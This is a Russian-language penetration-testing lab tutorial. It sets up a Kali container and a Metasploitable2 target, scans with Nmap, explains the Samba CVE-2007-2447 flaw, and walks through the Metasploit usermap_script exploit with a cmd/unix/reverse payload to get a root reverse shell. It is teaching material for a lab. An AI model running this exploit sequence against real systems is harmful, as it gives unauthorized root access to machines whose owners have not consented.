Введение
В этом практическом занятии (лабораторной работе) вы узнаете о базовом процессе пентестинга (проверки на проникновение) и выполните практическую атаку с использованием Kali Linux. Цель состоит в том, чтобы получить удаленный доступ к оболочке (remote shell) уязвимой целевой системы, эксплуатируя известную уязвимость Samba. Эта лабораторная работа дает возможность понять этапы, участвующие в реальном сценарии пентестинга, и потренироваться в использовании популярных инструментов безопасности, таких как Nmap и Metasploit.
Настройте лабораторную среду
Проверка на проникновение (пентестинг) обычно включает следующие этапы:
Сбор информации: Сбор максимально возможного количества информации о целевой системе, включая сетевую информацию, содержимое веб - сайтов, структуру каталогов, потенциальные имена пользователей, открытые порты, сервисы, доменные имена и поддомены. Для этого можно использовать различные инструменты.
Сканирование на уязвимости: Использование сканирующих инструментов для комплексного сканирования целевой системы с целью выявления уязвимостей. Существуют автоматические сканирующие инструменты, а также можно использовать ручные инструменты для целевого сканирования конкретных сервисов.
Эксплуатация: После выявления эксплуатируемых уязвимостей использование соответствующих инструментов и методов для получения более высокого уровня доступа или привилегий на целевой системе. Это может включать удаленное выполнение кода, атаки с использованием инъекций или другие методы.
Поддержание доступа: Создание бэкдора или механизма постоянного доступа на целевой системе для облегчения будущих доступов с одновременным избеганием обнаружения.
Составление отчета: Анализ полученных результатов и создание отчета, в котором детально описываются выявленные уязвимости и шаги, предпринятые в процессе проверки на проникновение. Этот отчет может помочь целевой организации эффективно защитить свои системы.
В целом, после понимания основных этапов, участвующих в проверке на проникновение, пришло время перейти от теории к практике. С помощью практических упражнений мы можем применить полученные знания и навыки для получения практического опыта в области пентестинга.
Сначала вам нужно настроить лабораторную среду для практики сценария проверки на проникновение.
Лабораторная среда состоит из двух систем:
Контейнер Kali Linux (машина - атакующий): Это Docker - контейнер, на котором запущена операционная система Kali Linux, которая будет использоваться для выполнения атаки.
Виртуальная машина Metasploitable2 (целевая машина): Это уязвимый сервер на основе Ubuntu, который выступает в роли целевой системы.
Для настройки среды выполните следующие шаги:
- Запустите целевую машину Metasploitable2:
sudo virsh start Metasploitable2
Подождите, пока целевая машина запустится, это может занять от 1 до 3 минут.
- Проверьте доступность целевой машины с помощью команды ping (для выхода используйте Ctrl+C):
ping 192.168.122.102
- Запустите контейнер Kali Linux и войдите в оболочку Bash:
docker run -ti --network host b5b709a49cd5 bash
- Проверьте сетевое соединение из контейнера Kali, отправив ping - запрос на целевую машину (для выхода используйте Ctrl+C):
ping 192.168.122.102
Теперь и машина - атакующий, и целевая машина должны быть запущены и доступны. Вы готовы начать процесс проверки на проникновение.
Выполните сканирование на уязвимости
На этом этапе вы будете использовать инструмент Nmap в Kali Linux для сканирования целевой системы на предмет открытых портов и запущенных сервисов.
- Выполните следующую команду Nmap для выполнения комплексного сканирования и сохранения результатов в файл
/tmp/report.txtв Docker - контейнере. Завершение сканирования может занять несколько минут:
nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt
Вот что означают флаги в этой команде:
-p 1-65535: Сканирование всех портов-T4: Установка шаблона времени (большее значение означает более быстрый скан)-A: Включение определения операционной системы и версии сервисов-v: Увеличение уровня детализации вывода>/tmp/report.txt: Перенаправление вывода в файл
Подождите, пока сканирование завершится (это может занять несколько минут).
Проанализируйте отчет о сканировании, открыв файл
/tmp/report.txtс помощью командыcat:
cat /tmp/report.txt
В отчете будут перечислены открытые порты, запущенные сервисы и их версии на целевой системе.
- Определите любые потенциальные уязвимости, связанные с сервисами и версиями, обнаруженными в процессе сканирования.
В данном случае мы сосредоточимся на службе Samba, которая имеет известную уязвимость для удаленного выполнения команд (CVE - 2007 - 2447) в версии, установленной на системе Metasploitable2. Вот детали уязвимости для удаленного выполнения команд в службе Samba USERNAME MAP SCRIPT (CVE - 2007 - 2447):
- CVE: CVE-2007-2447
- Подверженные версиям: Samba 3.0.0 - 3.0.25rc3
- Описание уязвимости: Уязвимость заключается в способе обработки параметра конфигурации
username map scriptв Samba. Когда этот параметр включен, Samba не корректно очищает пользовательский ввод перед передачей его в оболочку/bin/sh, что позволяет удаленным злоумышленникам выполнять произвольные команды от имени пользователя Samba.
Официальное описание уязвимости Samba можно найти по адресу: http://samba.org/samba/security/CVE-2007-2447.html
Модуль эксплойта Metasploit, который мы будем использовать для эксплуатации этой уязвимости, - exploit/multi/samba/usermap_script. Исходный код и комментарии для этого модуля можно найти по адресу: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/samba/usermap_script.rb
Используйте уязвимость с помощью Metasploit
На этом этапе вы будете использовать фреймворк Metasploit для эксплуатации уязвимости Samba USERNAME MAP SCRIPT и получения удаленного доступа к оболочке (remote shell) на целевой системе.
- Запустите консоль Metasploit:
cd ~
msfconsole
- Загрузите модуль эксплойта для Samba в консоли Metasploit:
use exploit/multi/samba/usermap_script
- Установите полезную нагрузку (payload) в
cmd/unix/reverseв консоли Metasploit:
set payload cmd/unix/reverse
- Настройте IP - адрес и порт цели в консоли Metasploit:
set RHOST 192.168.122.102
set RPORT 445
- Установите локальный IP - адрес для обратной оболочки (reverse shell) в консоли Metasploit:
set LHOST 192.168.122.1
- Проверьте настройки в консоли Metasploit:
show options
- Выполните эксплойт в консоли Metasploit:
exploit
Если эксплойт выполнен успешно, вы должны получить сеанс удаленной оболочки от имени пользователя root на целевой системе.
- После завершения тестирования вы можете выйти из оболочки, нажав Ctrl + C и введя
exit, чтобы вернуться в контейнер Kali.
Резюме
В этой лабораторной работе вы узнали о базовом процессе проверки на проникновение (пентестинга) и получили практический опыт выполнения реального сценария атаки. Вы настроили лабораторную среду с уязвимой целевой системой, провели сканирование на уязвимости с использованием Nmap, проанализировали известную уязвимость Samba и эксплуатировали ее с помощью фреймворка Metasploit для получения удаленного доступа к оболочке (remote shell). Этот практический опыт поможет вам лучше понять методы и инструменты, используемые в пентестинге, а также важность безопасной конфигурации систем и управления уязвимостями.



